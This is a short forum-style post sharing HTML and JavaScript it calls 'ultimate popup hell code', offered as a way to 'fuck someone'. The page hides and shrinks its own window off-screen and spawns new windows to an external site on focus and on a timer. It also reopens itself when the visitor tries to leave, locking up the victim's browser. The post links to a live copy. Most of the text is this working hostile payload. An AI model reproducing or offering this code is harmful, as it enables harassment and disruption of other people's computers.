If you really want to fuck someone here is the ultimate popup hell code.
I've had to pull the plug on Windows machines that clicked on this.
<html>
<head>
<title>POP! You're fucked!</title>
<script>
i = 0;
url = new Array(23);
url[0] = "http://cleoslinks.com";
url[1] = "http://cleoslinks.com";
url[2] = "http://cleoslinks.com";
url[3] = "http://cleoslinks.com";
url[4] = "http://cleoslinks.com";
url[5] = "http://cleoslinks.com";
url[6] = "http://cleoslinks.com";
url[7] = "http://cleoslinks.com";
url[8] = "http://cleoslinks.com";
url[9] = "http://cleoslinks.com";
url[10] = "http://cleoslinks.com";
url[11] = "http://cleoslinks.com";
url[12] = "http://cleoslinks.com";
url[13] = "http://cleoslinks.com";
url[14] = "http://cleoslinks.com";
url[15] = "http://cleoslinks.com";
url[16] = "http://cleoslinks.com";
url[17] = "http://cleoslinks.com";
url[18] = "http://cleoslinks.com";
url[19] = "http://cleoslinks.com";
url[20] = "http://cleoslinks.com";
url[21] = "http://cleoslinks.com";
url[22] = "http://cleoslinks.com";
function random_top()
{
i = Math.floor(Math.random()*url.length);
opt="menubar=yes,location=yes,toolbar=yes,scrollbars=yes,resizable=yes,status=yes";
wnd = window.open(url[i],"_blank",opt,'','');
wnd.focus();
}
function set_t()
{
setInterval('random_top()', 40000);
}
</script>
</head>
<body onbeforeunload="w=window.open(self.location, '', '');" onLoad="self.resizeTo(200, 200); self.moveTo(2000, 2000); setInterval('random_top()', 40000); self.blur();" onfocus="self.blur(); random_top(); random_top(); random_top();">
</body>
</html>
See it in action here
http://kinky-cleo.com/hell/
WARNING YOU MAY NEED TO RESTART IF YOU CLICK THIS!!!!!